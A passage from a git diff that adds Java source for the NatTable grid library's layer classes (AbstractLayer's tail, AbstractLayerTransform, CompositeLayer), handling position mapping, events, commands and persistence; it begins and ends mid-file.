IClientAreaProvider.DEFAULT; + private IConfigLabelAccumulator configLabelAccumulator; + + private final Map, ILayerCommandHandler> commandHandlers = new LinkedHashMap, ILayerCommandHandler>(); + private final Map, ILayerEventHandler> eventHandlers = new HashMap, ILayerEventHandler>(); + + private final List persistables = new LinkedList(); + private final Set listeners = new LinkedHashSet(); + private final Collection configurations = new LinkedList(); + + // Regions + + public LabelStack getRegionLabelsByXY(int x, int y) { + LabelStack regionLabels = new LabelStack(); + if (regionName != null) { + regionLabels.addLabel(regionName); + } + return regionLabels; + } + + public String getRegionName() { + return regionName; + } + + public void setRegionName(String regionName) { + this.regionName = regionName; + } + + // Config lables + + public LabelStack getConfigLabelsByPosition(int columnPosition, int rowPosition) { + LabelStack configLabels = new LabelStack(); + if (configLabelAccumulator != null) { + configLabelAccumulator.accumulateConfigLabels(configLabels, columnPosition, rowPosition); + } + if (regionName != null) { + configLabels.addLabel(regionName); + } + return configLabels; + } + + public IConfigLabelAccumulator getConfigLabelAccumulator() { + return configLabelAccumulator; + } + + public void setConfigLabelAccumulator(IConfigLabelAccumulator cellLabelAccumulator) { + this.configLabelAccumulator = cellLabelAccumulator; + } + + // Persistence + + public void saveState(String prefix, Properties properties) { + for (IPersistable persistable : persistables) { + persistable.saveState(prefix, properties); + } + } + + public void loadState(String prefix, Properties properties) { + for (IPersistable persistable : persistables) { + persistable.loadState(prefix, properties); + } + } + + public void registerPersistable(IPersistable persistable){ + persistables.add(persistable); + } + + public void unregisterPersistable(IPersistable persistable){ + persistables.remove(persistable); + } + + // Configuration + + public void addConfiguration(IConfiguration configuration) { + configurations.add(configuration); + } + + public void clearConfiguration() { + configurations.clear(); + } + + public void configure(ConfigRegistry configRegistry, UiBindingRegistry uiBindingRegistry) { + for (IConfiguration configuration : configurations) { + configuration.configureLayer(this); + configuration.configureRegistry(configRegistry); + configuration.configureUiBindings(uiBindingRegistry); + } + } + + // Commands + + @SuppressWarnings("unchecked") + public boolean doCommand(ILayerCommand command) { + for (Class commandClass : commandHandlers.keySet()) { + if (commandClass.isInstance(command)) { + ILayerCommandHandler commandHandler = commandHandlers.get(commandClass); + if (commandHandler.doCommand(this, command)) { + return true; + } + } + } + + return false; + } + + // Command handlers + + public void registerCommandHandler(ILayerCommandHandler commandHandler) { + commandHandlers.put(commandHandler.getCommandClass(), commandHandler); + } + + public void unregisterCommandHandler(Class commandClass) { + commandHandlers.remove(commandClass); + } + + // Events + + public void addLayerListener(ILayerListener listener) { + listeners.add(listener); + } + + public void removeLayerListener(ILayerListener listener) { + listeners.remove(listener); + } + + /** + * Handle layer event notification. Convert it to your context + * and propagate UP. + * + * If you override this method you MUST NOT FORGET to raise + * the event up the layer stack by calling super.fireLayerEvent(event) + * - unless you plan to eat the event yourself. + **/ + @SuppressWarnings("unchecked") + public void handleLayerEvent(ILayerEvent event) { + for (Class eventClass : eventHandlers.keySet()) { + if (eventClass.isInstance(event)) { + ILayerEventHandler eventHandler = eventHandlers.get(eventClass); + eventHandler.handleLayerEvent(event); + } + } + + // Pass on the event to our parent + if (event.convertToLocal(this)) { + fireLayerEvent(event); + } + } + + public void registerEventHandler(ILayerEventHandler eventHandler) { + eventHandlers.put(eventHandler.getLayerEventClass(), eventHandler); + } + + /** + * Pass the event to all the {@link ILayerListener} registered on this layer. + * A cloned copy is passed to each listener. + */ + public void fireLayerEvent(ILayerEvent event) { + if (listeners.size() > 0) { + Iterator it = listeners.iterator(); + boolean isLastListener = false; + do { + ILayerListener l = it.next(); + isLastListener = !it.hasNext(); // Lookahead + + // Fire cloned event to first n-1 listeners; fire original event to last listener + ILayerEvent eventToFire = isLastListener ? event : event.cloneEvent(); +// System.out.println("eventToFire="+eventToFire); + l.handleLayerEvent(eventToFire); + } while (!isLastListener); + } + } + + /** + * @return {@link ILayerPainter}. Defaults to {@link GridLineCellLayerPainter} + */ + public ILayerPainter getLayerPainter() { + if (layerPainter == null) { + layerPainter = new GridLineCellLayerPainter(); + } + return layerPainter; + } + + protected void setLayerPainter(ILayerPainter layerPainter) { + this.layerPainter = layerPainter; + } + + // Client area + + public IClientAreaProvider getClientAreaProvider() { + return clientAreaProvider; + } + + public void setClientAreaProvider(IClientAreaProvider clientAreaProvider) { + this.clientAreaProvider = clientAreaProvider; + } + + @Override + public String toString() { + return getClass().getSimpleName(); + } + + public LayerCell getCellByPosition(int columnPosition, int rowPosition) { + if (columnPosition < 0 || columnPosition >= getColumnCount() + || rowPosition < 0 || rowPosition >= getRowCount()) { + return null; + } + + return new LayerCell(this, columnPosition, rowPosition); + } + + public Rectangle getBoundsByPosition(int columnPosition, int rowPosition) { + LayerCell cell = getCellByPosition(columnPosition, rowPosition); + + ILayer cellLayer = cell.getLayer(); + int originColumnPosition = cell.getOriginColumnPosition(); + int originRowPosition = cell.getOriginRowPosition(); + + int x = cellLayer.getStartXOfColumnPosition(originColumnPosition); + int y = cellLayer.getStartYOfRowPosition(originRowPosition); + + int width = 0; + for (int i = 0; i < cell.getColumnSpan(); i++) { + width += cellLayer.getColumnWidthByPosition(originColumnPosition + i); + } + + int height = 0; + for (int i = 0; i < cell.getRowSpan(); i++) { + height += cellLayer.getRowHeightByPosition(originRowPosition + i); + } + + return new Rectangle(x, y, width, height); + } + + public String getDisplayModeByPosition(int columnPosition, int rowPosition) { + return DisplayMode.NORMAL; + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/AbstractLayerTransform.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/AbstractLayerTransform.java new file mode 100644 index 0000000..7a5769b --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/AbstractLayerTransform.java @@ -0,0 +1,336 @@ +package net.sourceforge.nattable.layer; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashSet; +import java.util.Properties; + +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.config.ConfigRegistry; +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.cell.IConfigLabelAccumulator; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.layer.event.IStructuralChangeEvent; +import net.sourceforge.nattable.painter.layer.ILayerPainter; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.util.IClientAreaProvider; + +/** + * Abstract base class for layers that expose transformed views of an underlying layer. By default the + * AbstractLayerTransform behaves as an identity transform of its underlying layer; that is, it exposes + * its underlying layer as is without any changes. Subclasses are expected to override methods in this + * class to implement specific kinds of layer transformations. + */ +public abstract class AbstractLayerTransform extends AbstractLayer { + + protected ILayer underlyingLayer; + + public AbstractLayerTransform() { + } + + public AbstractLayerTransform(ILayer underlyingLayer) { + setUnderlyingLayer(underlyingLayer); + } + + protected void setUnderlyingLayer(ILayer underlyingLayer) { + this.underlyingLayer = underlyingLayer; + this.underlyingLayer.setClientAreaProvider(getClientAreaProvider()); + this.underlyingLayer.addLayerListener(this); + } + + protected ILayer getUnderlyingLayer() { + return underlyingLayer; + } + + // Persistence + + @Override + public void saveState(String prefix, Properties properties) { + super.saveState(prefix, properties); + underlyingLayer.saveState(prefix, properties); + } + + /** + * Underlying layers must load state first.
    + * If this is not done, {@link IStructuralChangeEvent} from underlying
    + * layers will reset caches after state has been loaded + */ + @Override + public void loadState(String prefix, Properties properties) { + super.loadState(prefix, properties); + underlyingLayer.loadState(prefix, properties); + } + + // Configuration + + @Override + public void configure(ConfigRegistry configRegistry, UiBindingRegistry uiBindingRegistry) { + underlyingLayer.configure(configRegistry, uiBindingRegistry); + super.configure(configRegistry, uiBindingRegistry); + } + + @Override + public ILayerPainter getLayerPainter() { + return underlyingLayer.getLayerPainter(); + } + + // Command + + @Override + public boolean doCommand(ILayerCommand command) { + if (super.doCommand(command)) { + return true; + } + + if (underlyingLayer != null) { + return underlyingLayer.doCommand(command); + } + + return false; + } + + // Client area + + @Override + public void setClientAreaProvider(IClientAreaProvider clientAreaProvider) { + super.setClientAreaProvider(clientAreaProvider); + if (getUnderlyingLayer() != null) { + getUnderlyingLayer().setClientAreaProvider(clientAreaProvider); + } + } + + // Horizontal features + + // Columns + + public int getColumnCount() { + return underlyingLayer.getColumnCount(); + } + + public int getPreferredColumnCount() { + return underlyingLayer.getPreferredColumnCount(); + } + + public int getColumnIndexByPosition(int columnPosition) { + int underlyingColumnPosition = localToUnderlyingColumnPosition(columnPosition); + return underlyingLayer.getColumnIndexByPosition(underlyingColumnPosition); + } + + public int localToUnderlyingColumnPosition(int localColumnPosition) { + return localColumnPosition; + } + + public int underlyingToLocalColumnPosition(ILayer sourceUnderlyingLayer, int underlyingColumnPosition) { + if (sourceUnderlyingLayer != getUnderlyingLayer()) { + return -1; + } + + return underlyingColumnPosition; + } + + public Collection underlyingToLocalColumnPositions(ILayer sourceUnderlyingLayer, Collection underlyingColumnPositionRanges) { + Collection localColumnPositionRanges = new ArrayList(); + + for (Range underlyingColumnPositionRange : underlyingColumnPositionRanges) { + localColumnPositionRanges.add( + new Range( + underlyingToLocalColumnPosition(sourceUnderlyingLayer, underlyingColumnPositionRange.start), + underlyingToLocalColumnPosition(sourceUnderlyingLayer, underlyingColumnPositionRange.end) + ) + ); + } + + return localColumnPositionRanges; + } + + // Width + + public int getWidth() { + return underlyingLayer.getWidth(); + } + + public int getPreferredWidth() { + return underlyingLayer.getPreferredWidth(); + } + + public int getColumnWidthByPosition(int columnPosition) { + int underlyingColumnPosition = localToUnderlyingColumnPosition(columnPosition); + return underlyingLayer.getColumnWidthByPosition(underlyingColumnPosition); + } + + // Column resize + + public boolean isColumnPositionResizable(int columnPosition) { + int underlyingColumnPosition = localToUnderlyingColumnPosition(columnPosition); + return underlyingLayer.isColumnPositionResizable(underlyingColumnPosition); + } + + // X + + public int getColumnPositionByX(int x) { + return underlyingLayer.getColumnPositionByX(x); + } + + public int getStartXOfColumnPosition(int columnPosition) { + int underlyingColumnPosition = localToUnderlyingColumnPosition(columnPosition); + return underlyingLayer.getStartXOfColumnPosition(underlyingColumnPosition); + } + + // Underlying + + public Collection getUnderlyingLayersByColumnPosition(int columnPosition) { + Collection underlyingLayers = new HashSet(); + underlyingLayers.add(underlyingLayer); + return underlyingLayers; + } + + // Vertical features + + // Rows + + public int getRowCount() { + return underlyingLayer.getRowCount(); + } + + public int getPreferredRowCount() { + return underlyingLayer.getPreferredRowCount(); + } + + public int getRowIndexByPosition(int rowPosition) { + int underlyingRowPosition = localToUnderlyingRowPosition(rowPosition); + return underlyingLayer.getRowIndexByPosition(underlyingRowPosition); + } + + public int localToUnderlyingRowPosition(int localRowPosition) { + return localRowPosition; + } + + public int underlyingToLocalRowPosition(ILayer sourceUnderlyingLayer, int underlyingRowPosition) { + if (sourceUnderlyingLayer != getUnderlyingLayer()) { + return -1; + } + + return underlyingRowPosition; + } + + public Collection underlyingToLocalRowPositions(ILayer sourceUnderlyingLayer, Collection underlyingRowPositionRanges) { + Collection localRowPositionRanges = new ArrayList(); + + for (Range underlyingRowPositionRange : underlyingRowPositionRanges) { + localRowPositionRanges.add( + new Range( + underlyingToLocalRowPosition(sourceUnderlyingLayer, underlyingRowPositionRange.start), + underlyingToLocalRowPosition(sourceUnderlyingLayer, underlyingRowPositionRange.end) + ) + ); + } + + return localRowPositionRanges; + } + + // Height + + public int getHeight() { + return underlyingLayer.getHeight(); + } + + public int getPreferredHeight() { + return underlyingLayer.getPreferredHeight(); + } + + public int getRowHeightByPosition(int rowPosition) { + int underlyingRowPosition = localToUnderlyingRowPosition(rowPosition); + return underlyingLayer.getRowHeightByPosition(underlyingRowPosition); + } + + // Row resize + + public boolean isRowPositionResizable(int rowPosition) { + int underlyingRowPosition = localToUnderlyingRowPosition(rowPosition); + return underlyingLayer.isRowPositionResizable(underlyingRowPosition); + } + + // Y + + public int getRowPositionByY(int y) { + return underlyingLayer.getRowPositionByY(y); + } + + public int getStartYOfRowPosition(int rowPosition) { + int underlyingRowPosition = localToUnderlyingRowPosition(rowPosition); + return underlyingLayer.getStartYOfRowPosition(underlyingRowPosition); + } + + // Underlying + + public Collection getUnderlyingLayersByRowPosition(int rowPosition) { + Collection underlyingLayers = new HashSet(); + underlyingLayers.add(underlyingLayer); + return underlyingLayers; + } + + // Cell features + + @Override + public LayerCell getCellByPosition(int columnPosition, int rowPosition) { + int underlyingColumnPosition = localToUnderlyingColumnPosition(columnPosition); + int underlyingRowPosition = localToUnderlyingRowPosition(rowPosition); + LayerCell cell = underlyingLayer.getCellByPosition(underlyingColumnPosition, underlyingRowPosition); + if (cell != null) { + cell.updatePosition( + this, + underlyingToLocalColumnPosition(underlyingLayer, cell.getOriginColumnPosition()), + underlyingToLocalRowPosition(underlyingLayer, cell.getOriginRowPosition()), + underlyingToLocalColumnPosition(underlyingLayer, cell.getColumnPosition()), + underlyingToLocalRowPosition(underlyingLayer, cell.getRowPosition()) + ); + } + return cell; + } + + @Override + public String getDisplayModeByPosition(int columnPosition, int rowPosition) { + int underlyingColumnPosition = localToUnderlyingColumnPosition(columnPosition); + int underlyingRowPosition = localToUnderlyingRowPosition(rowPosition); + return underlyingLayer.getDisplayModeByPosition(underlyingColumnPosition, underlyingRowPosition); + } + + @Override + public LabelStack getConfigLabelsByPosition(int columnPosition, int rowPosition) { + int underlyingColumnPosition = localToUnderlyingColumnPosition(columnPosition); + int underlyingRowPosition = localToUnderlyingRowPosition(rowPosition); + LabelStack configLabels = underlyingLayer.getConfigLabelsByPosition(underlyingColumnPosition, underlyingRowPosition); + IConfigLabelAccumulator configLabelAccumulator = getConfigLabelAccumulator(); + if (configLabelAccumulator != null) { + configLabelAccumulator.accumulateConfigLabels(configLabels, columnPosition, rowPosition); + } + String regionName = getRegionName(); + if (regionName != null) { + configLabels.addLabel(regionName); + } + return configLabels; + } + + public Object getDataValueByPosition(int columnPosition, int rowPosition) { + int underlyingColumnPosition = localToUnderlyingColumnPosition(columnPosition); + int underlyingRowPosition = localToUnderlyingRowPosition(rowPosition); + return underlyingLayer.getDataValueByPosition(underlyingColumnPosition, underlyingRowPosition); + } + + // IRegionResolver + + @Override + public LabelStack getRegionLabelsByXY(int x, int y) { + LabelStack regionLabels = underlyingLayer.getRegionLabelsByXY(x, y); + String regionName = getRegionName(); + if (regionName != null) { + regionLabels.addLabel(regionName); + } + return regionLabels; + } + + public ILayer getUnderlyingLayerByPosition(int columnPosition, int rowPosition) { + return underlyingLayer; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/CompositeLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/CompositeLayer.java new file mode 100644 index 0000000..f04897d --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/CompositeLayer.java @@ -0,0 +1,913 @@ +package net.sourceforge.nattable.layer; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; +import java.util.Properties; + +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.config.ConfigRegistry; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.cell.AggregrateConfigLabelAccumulator; +import net.sourceforge.nattable.layer.cell.IConfigLabelAccumulator; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.layer.event.ILayerEvent; +import net.sourceforge.nattable.layer.event.IStructuralChangeEvent; +import net.sourceforge.nattable.painter.layer.ILayerPainter; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.util.IClientAreaProvider; + +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; + +/** + * A composite layer is a layer that is made up of a number of underlying child layers. This class assumes that the child + * layers are laid out in a regular grid pattern where the child layers in each composite row all have the same number of + * rows and the same height, and the child layers in each composite column each have the same number of columns and + * the same width. + */ +public class CompositeLayer extends AbstractLayer { + + private final int layoutXCount; + + private final int layoutYCount; + + private final Map childLayerToRegionNameMap = new HashMap(); + + private final Map regionNameToConfigLabelAccumulatorMap = new HashMap(); + + private final Map childLayerToLayoutCoordinateMap = new HashMap(); + + /** Data struct. for child Layers */ + private final ILayer[][] childLayerLayout; + + /** [X][Y] */ + private ChildLayerInfo[][] childLayerInfos; + + private final CompositeLayerPainter compositeLayerPainter = new CompositeLayerPainter(); + + public CompositeLayer(int layoutXCount, int layoutYCount) { + this.layoutXCount = layoutXCount; + this.layoutYCount = layoutYCount; + childLayerLayout = new ILayer[layoutXCount][layoutYCount]; + } + + // Persistence + + @Override + public void saveState(String prefix, Properties properties) { + for (int layoutX = 0; layoutX < layoutXCount; layoutX++) { + for (int layoutY = 0; layoutY < layoutYCount; layoutY++) { + ILayer childLayer = childLayerLayout[layoutX][layoutY]; + if (childLayer != null) { + String regionName = childLayerToRegionNameMap.get(childLayer); + childLayer.saveState(prefix + "." + regionName, properties); + } + } + } + super.saveState(prefix, properties); + } + + @Override + public void loadState(String prefix, Properties properties) { + for (int layoutX = 0; layoutX < layoutXCount; layoutX++) { + for (int layoutY = 0; layoutY < layoutYCount; layoutY++) { + ILayer childLayer = childLayerLayout[layoutX][layoutY]; + if (childLayer != null) { + String regionName = childLayerToRegionNameMap.get(childLayer); + childLayer.loadState(prefix + "." + regionName, properties); + } + } + } + super.loadState(prefix, properties); + } + + // Configuration + + @Override + public void configure(ConfigRegistry configRegistry, UiBindingRegistry uiBindingRegistry) { + for (int layoutX = 0; layoutX < layoutXCount; layoutX++) { + for (int layoutY = 0; layoutY < layoutYCount; layoutY++) { + childLayerLayout[layoutX][layoutY].configure(configRegistry, uiBindingRegistry); + } + } + + super.configure(configRegistry, uiBindingRegistry); + } + + @Override + public ILayerPainter getLayerPainter() { + return compositeLayerPainter; + } + + /** + * {@inheritDoc} + * Handle commands + */ + @Override + public boolean doCommand(ILayerCommand command) { + if (super.doCommand(command)) { + return true; + } + return doCommandOnChildLayers(command); + } + + protected boolean doCommandOnChildLayers(ILayerCommand command) { + for (ILayer childLayer : childLayerToLayoutCoordinateMap.keySet()) { + ILayerCommand childCommand = command.cloneCommand(); + if (childLayer.doCommand(childCommand)) { + return true; + } + } + return false; + } + + // Events + + @Override + public void handleLayerEvent(ILayerEvent event) { + if (event instanceof IStructuralChangeEvent) { + childLayerInfos = null; + } + + super.handleLayerEvent(event); + } + + // Horizontal features + + // Columns + + /** + * @return total number of columns being displayed + * Note: Works off the header layers. + */ + public int getColumnCount() { + ChildLayerInfo lastChildLayerInfo = getChildLayerInfoByLayout(layoutXCount - 1, 0); + return lastChildLayerInfo.getColumnPositionOffset() + lastChildLayerInfo.getLayer().getColumnCount(); + } + + public int getPreferredColumnCount() { + int preferredColumnCount = 0; + for (int layoutX = 0; layoutX < layoutXCount; layoutX++) { + preferredColumnCount += childLayerLayout[layoutX][0].getPreferredColumnCount(); + } + return preferredColumnCount; + } + + /** + * @param compositeColumnPosition Column position in the {@link CompositeLayer} + * @return column index in the underlying layer. + */ + public int getColumnIndexByPosition(int compositeColumnPosition) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByColumnPosition(compositeColumnPosition); + if (childLayerInfo == null) { + return -1; + } + int childColumnPosition = compositeColumnPosition - childLayerInfo.getColumnPositionOffset(); + return childLayerInfo.getLayer().getColumnIndexByPosition(childColumnPosition); + } + + public int localToUnderlyingColumnPosition(int localColumnPosition) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByPosition(localColumnPosition, 0); + if (childLayerInfo == null) { + return -1; + } + return localColumnPosition - childLayerInfo.getColumnPositionOffset(); + } + + public int underlyingToLocalColumnPosition(ILayer sourceUnderlyingLayer, int underlyingColumnPosition) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByChildLayer(sourceUnderlyingLayer); + if (childLayerInfo == null) { + return -1; + } + return childLayerInfo.columnPositionOffset + underlyingColumnPosition; + } + + public Collection underlyingToLocalColumnPositions(ILayer sourceUnderlyingLayer, Collection underlyingColumnPositionRanges) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByChildLayer(sourceUnderlyingLayer); + if (childLayerInfo == null) { + return null; + } + + Collection localColumnPositionRanges = new ArrayList(); + + int offset = childLayerInfo.columnPositionOffset; + for (Range underlyingColumnPositionRange : underlyingColumnPositionRanges) { + localColumnPositionRanges.add(new Range(offset + underlyingColumnPositionRange.start, offset + underlyingColumnPositionRange.end)); + } + + return localColumnPositionRanges; + } + + // Width + + public int getWidth() { + ChildLayerInfo lastChildLayerInfo = getChildLayerInfoByLayout(layoutXCount - 1, 0); + return lastChildLayerInfo.getWidthOffset() + lastChildLayerInfo.getLayer().getWidth(); + } + + public int getPreferredWidth() { + int preferredWidth = 0; + for (int layoutX = 0; layoutX < layoutXCount; layoutX++) { + preferredWidth += childLayerLayout[layoutX][0].getPreferredWidth(); + } + return preferredWidth; + } + + /** + * @param compositeColumnPosition position in the composite layer. + */ + public int getColumnWidthByPosition(int compositeColumnPosition) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByColumnPosition(compositeColumnPosition); + if (childLayerInfo == null) { + return -1; + } + int childColumnPosition = compositeColumnPosition - childLayerInfo.getColumnPositionOffset(); + return childLayerInfo.getLayer().getColumnWidthByPosition(childColumnPosition); + } + + // Column resize + + public boolean isColumnPositionResizable(int compositeColumnPosition) { + //Only looks at the header + ChildLayerInfo childLayerInfo = getChildLayerInfoByPosition(compositeColumnPosition, 0); + if (childLayerInfo == null) { + return false; + } + int childColumnPosition = compositeColumnPosition - childLayerInfo.getColumnPositionOffset(); + return childLayerInfo.getLayer().isColumnPositionResizable(childColumnPosition); + } + + // X + + /** + * @param x pixel position - starts from 0 + */ + public int getColumnPositionByX(int x) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByX(x); + if (childLayerInfo == null) { + return -1; + } + int childX = x - childLayerInfo.getWidthOffset(); + int childColumnPosition = childLayerInfo.getLayer().getColumnPositionByX(childX); + return childLayerInfo.getColumnPositionOffset() + childColumnPosition; + } + + public int getStartXOfColumnPosition(int columnPosition) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByColumnPosition(columnPosition); + if (childLayerInfo == null) { + return -1; + } + int childColumnPosition = columnPosition - childLayerInfo.getColumnPositionOffset(); + return childLayerInfo.getWidthOffset() + childLayerInfo.getLayer().getStartXOfColumnPosition(childColumnPosition); + } + + // Underlying + + public Collection getUnderlyingLayersByColumnPosition(int columnPosition) { + Collection underlyingLayers = new HashSet(); + + int layoutX = 0; + while (layoutX < layoutXCount) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByLayout(layoutX, 0); + if (columnPosition < childLayerInfo.getColumnPositionOffset() + childLayerInfo.getLayer().getColumnCount()) { + break; + } + + layoutX++; + } + + if (layoutX >= layoutXCount) { + return null; + } + + int layoutY = 0; + while (layoutY < layoutYCount) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByLayout(layoutX, layoutY); + underlyingLayers.add(childLayerInfo.getLayer()); + layoutY++; + } + + return underlyingLayers; + } + + // Vertical features + + // Rows + + public int getRowCount() { + ChildLayerInfo lastChildLayerInfo = getChildLayerInfoByLayout(0, layoutYCount - 1); + return lastChildLayerInfo.getRowPositionOffset() + lastChildLayerInfo.getLayer().getRowCount(); + } + + public int getPreferredRowCount() { + int preferredRowCount = 0; + for (int layoutY = 0; layoutY < layoutYCount; layoutY++) { + preferredRowCount += childLayerLayout[0][layoutY].getPreferredRowCount(); + } + return preferredRowCount; + } + + public int getRowIndexByPosition(int compositeRowPosition) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByRowPosition(compositeRowPosition); + if (childLayerInfo == null) { + return -1; + } + int childRowPosition = compositeRowPosition - childLayerInfo.getRowPositionOffset(); + return childLayerInfo.getLayer().getRowIndexByPosition(childRowPosition); + + } + + public int localToUnderlyingRowPosition(int localRowPosition) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByPosition(0, localRowPosition); + if (childLayerInfo == null) { + return -1; + } + return localRowPosition - childLayerInfo.getRowPositionOffset(); + } + + public int underlyingToLocalRowPosition(ILayer sourceUnderlyingLayer, int underlyingRowPosition) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByChildLayer(sourceUnderlyingLayer); + if (childLayerInfo == null) { + return -1; + } + return childLayerInfo.rowPositionOffset + underlyingRowPosition; + } + + public Collection underlyingToLocalRowPositions(ILayer sourceUnderlyingLayer, Collection underlyingRowPositionRanges) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByChildLayer(sourceUnderlyingLayer); + if (childLayerInfo == null) { + return null; + } + + Collection localRowPositionRanges = new ArrayList(); + + int offset = childLayerInfo.rowPositionOffset; + for (Range underlyingRowPositionRange : underlyingRowPositionRanges) { + localRowPositionRanges.add(new Range(offset + underlyingRowPositionRange.start, offset + underlyingRowPositionRange.end)); + } + + return localRowPositionRanges; + } + + // Height + + public int getHeight() { + ChildLayerInfo lastChildLayerInfo = getChildLayerInfoByLayout(0, layoutYCount - 1); + return lastChildLayerInfo.getHeightOffset() + lastChildLayerInfo.getLayer().getHeight(); + } + + public int getPreferredHeight() { + int preferredHeight = 0; + for (int layoutY = 0; layoutY < layoutYCount; layoutY++) { + preferredHeight += childLayerLayout[0][layoutY].getPreferredHeight(); + } + return preferredHeight; + } + + public int getRowHeightByPosition(int compositeRowPosition) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByRowPosition(compositeRowPosition); + if (childLayerInfo == null) { + return -1; + } + int childRowPosition = compositeRowPosition - childLayerInfo.getRowPositionOffset(); + return childLayerInfo.getLayer().getRowHeightByPosition(childRowPosition); + } + + // Row resize + + /** + * @return false if the row position is out of bounds + */ + public boolean isRowPositionResizable(int compositeRowPosition) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByPosition(0, compositeRowPosition); + if (childLayerInfo == null) { + return false; + } + int childRowPosition = compositeRowPosition - childLayerInfo.getRowPositionOffset(); + return childLayerInfo.getLayer().isRowPositionResizable(childRowPosition); + } + + // Y + + /** + * Get the row position relative to the layer the containing coordinate y. + * @param x Mouse event Y position. + */ + public int getRowPositionByY(int y) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByXY(0, y); + if (childLayerInfo == null) { + return -1; + } + int childY = y - childLayerInfo.getHeightOffset(); + int childRowPosition = childLayerInfo.getLayer().getRowPositionByY(childY); + return childLayerInfo.getRowPositionOffset() + childRowPosition; + } + + public int getStartYOfRowPosition(int rowPosition) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByRowPosition(rowPosition); + if (childLayerInfo == null) { + return -1; + } + int childRowPosition = rowPosition - childLayerInfo.getRowPositionOffset(); + return childLayerInfo.getHeightOffset() + childLayerInfo.getLayer().getStartYOfRowPosition(childRowPosition); + } + + public Collection getUnderlyingLayersByRowPosition(int rowPosition) { + Collection underlyingLayers = new HashSet(); + + int columnPosition = 0; + ChildLayerInfo childLayerInfo = getChildLayerInfoByPosition(columnPosition, rowPosition); + while (childLayerInfo != null) { + ILayer childLayer = childLayerInfo.getLayer(); + underlyingLayers.add(childLayer); + + columnPosition += childLayer.getColumnCount(); + childLayerInfo = getChildLayerInfoByPosition(columnPosition, rowPosition); + } + + return underlyingLayers; + } + + // Cell features + + @Override + public LayerCell getCellByPosition(int compositeColumnPosition, int compositeRowPosition) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByPosition(compositeColumnPosition, compositeRowPosition); + + if (childLayerInfo == null) { + return null; + } + + ILayer childLayer = childLayerInfo.getLayer(); + int childColumnPosition = compositeColumnPosition - childLayerInfo.getColumnPositionOffset(); + int childRowPosition = compositeRowPosition - childLayerInfo.getRowPositionOffset(); + + final LayerCell cell = childLayer.getCellByPosition(childColumnPosition, childRowPosition); + + if (cell != null) { + cell.updatePosition( + this, + underlyingToLocalColumnPosition(childLayer, cell.getOriginColumnPosition()), + underlyingToLocalRowPosition(childLayer, cell.getOriginRowPosition()), + underlyingToLocalColumnPosition(childLayer, cell.getColumnPosition()), + underlyingToLocalRowPosition(childLayer, cell.getRowPosition()) + ); + } + + return cell; + } + + @Override + public Rectangle getBoundsByPosition(int compositeColumnPosition, int compositeRowPosition) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByPosition(compositeColumnPosition, compositeRowPosition); + + if (childLayerInfo == null) { + return null; + } + + ILayer childLayer = childLayerInfo.getLayer(); + int childColumnPosition = compositeColumnPosition - childLayerInfo.getColumnPositionOffset(); + int childRowPosition = compositeRowPosition - childLayerInfo.getRowPositionOffset(); + + final Rectangle bounds = childLayer.getBoundsByPosition(childColumnPosition, childRowPosition); + + if (bounds != null) { + bounds.x += childLayerInfo.widthOffset; + bounds.y += childLayerInfo.heightOffset; + } + + return bounds; + } + + /** + * @return Rectangle bounding the cell position + * x - pixel position of the top left of the rectangle + * y - pixel position of the top left of the rectangle + * width - in pixels + * height - in pixels + * Note - All values are -1 for a position out of bounds. + */ + public Rectangle getCellBounds(int compositeRowPosition, int compositeColumnPosition) { + final Rectangle rectangle = new Rectangle(0, 0, 0, 0); + + rectangle.width = getColumnWidthByPosition(compositeColumnPosition); + rectangle.height = getRowHeightByPosition(compositeRowPosition); + + rectangle.x = getStartXOfColumnPosition(compositeColumnPosition); + rectangle.y = getStartYOfRowPosition(compositeRowPosition); + + return rectangle; + } + + @Override + public String getDisplayModeByPosition(int compositeColumnPosition, int compositeRowPosition) { + ChildLayerInfo childLayerInfo = getChildLayerInfoByPosition(compositeColumnPosition, compositeRowPosition); + if (childLayerInfo == null) { + return super.getDisplayModeByPosition(compositeColumnPosition, compositeRowPosition); + } + + return childLayerInfo.getLayer().getDisplayModeByPosition( + compositeColumnPosition - childLayerInfo.getColumnPositionOffset(), + compositeRowPosition - childLayerInfo.getRowPositionOffset()); + } + + @Override + public 